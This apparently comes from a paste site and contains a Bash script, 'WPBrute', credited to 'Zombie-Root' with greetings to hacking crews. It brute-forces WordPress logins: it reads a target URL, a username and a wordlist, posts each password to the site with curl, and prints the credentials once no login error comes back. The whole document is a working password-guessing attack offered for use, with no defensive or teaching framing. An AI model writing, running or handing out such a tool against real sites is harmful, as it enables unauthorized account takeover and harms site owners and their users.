SHOW:
|
|
- or go back to the newest paste.
| 1 | #!/bin/bash | |
| 2 | # WPBrute (Bash) | |
| 3 | # By Zombie-Root | |
| 4 | # | |
| 5 | # Thanks: Ccocot | |
| 6 | # Bahari Trouble Maker - IndoXploit - Suram-Crew | |
| 7 | # Jloyal - Berdendang C0de | |
| 8 | ||
| 9 | clear; | |
| 10 | echo ' __ ______ ____ _ '; | |
| 11 | echo ' \ \ / / _ \| __ ) _ __ _ _| |_ ___ '; | |
| 12 | echo ' \ \ /\ / /| |_) | _ \| "__| | | | __/ _ \ '; | |
| 13 | echo ' \ V V / | __/| |_) | | | |_| | || __/_ '; | |
| 14 | echo ' \_/\_/ |_| |____/|_| \__,_|\__\___(_)'; | |
| 15 | echo ' Wordpress Bruteforce Login Bash Version 1.0 '; | |
| 16 | echo -ne '\n'; | |
| 17 | echo -n "Input URL : "; read url | |
| 18 | echo -n "Username : "; read username | |
| 19 | echo -n "Wordlist : "; read wlist | |
| 20 | ||
| 21 | echo Total [$(wc -l < $wlist)] Wordlist | |
| 22 | ||
| 23 | i=0 | |
| 24 | for passw in $(cat $wlist); do | |
| 25 | i=$[i+1] | |
| 26 | brute=$(curl -i -L --data-urlencode log=$username --data-urlencode pwd=$passw $url) | |
| 27 | if [[ $brute =~ "login_error" ]]; | |
| 28 | then | |
| 29 | clear; | |
| 30 | echo ' __ ______ ____ _ '; | |
| 31 | echo ' \ \ / / _ \| __ ) _ __ _ _| |_ ___ '; | |
| 32 | echo ' \ \ /\ / /| |_) | _ \| "__| | | | __/ _ \ '; | |
| 33 | echo ' \ V V / | __/| |_) | | | |_| | || __/_ '; | |
| 34 | echo ' \_/\_/ |_| |____/|_| \__,_|\__\___(_)'; | |
| 35 | echo -ne '\n' | |
| 36 | echo ' Trying ['$i'/'$(wc -l < $wlist)']'; | |
| 37 | echo -ne '\n\n' | |
| 38 | ||
| 39 | else | |
| 40 | clear; | |
| 41 | echo ' _____ _ _ ' | |
| 42 | echo ' | ___|__ _ _ _ __ __| | |' | |
| 43 | echo ' | |_ / _ \| | | | "_ \ / _` | |' | |
| 44 | echo ' | _| (_) | |_| | | | | (_| |_|' | |
| 45 | echo ' |_| \___/ \__,_|_| |_|\__,_(_)' | |
| 46 | echo -ne '\n' | |
| 47 | echo $url; | |
| 48 | echo 'Username : '$username; | |
| 49 | echo 'Password : '$passw; | |
| 50 | echo -ne '\n' | |
| 51 | break; | |
| 52 | fi | |
| 53 | done |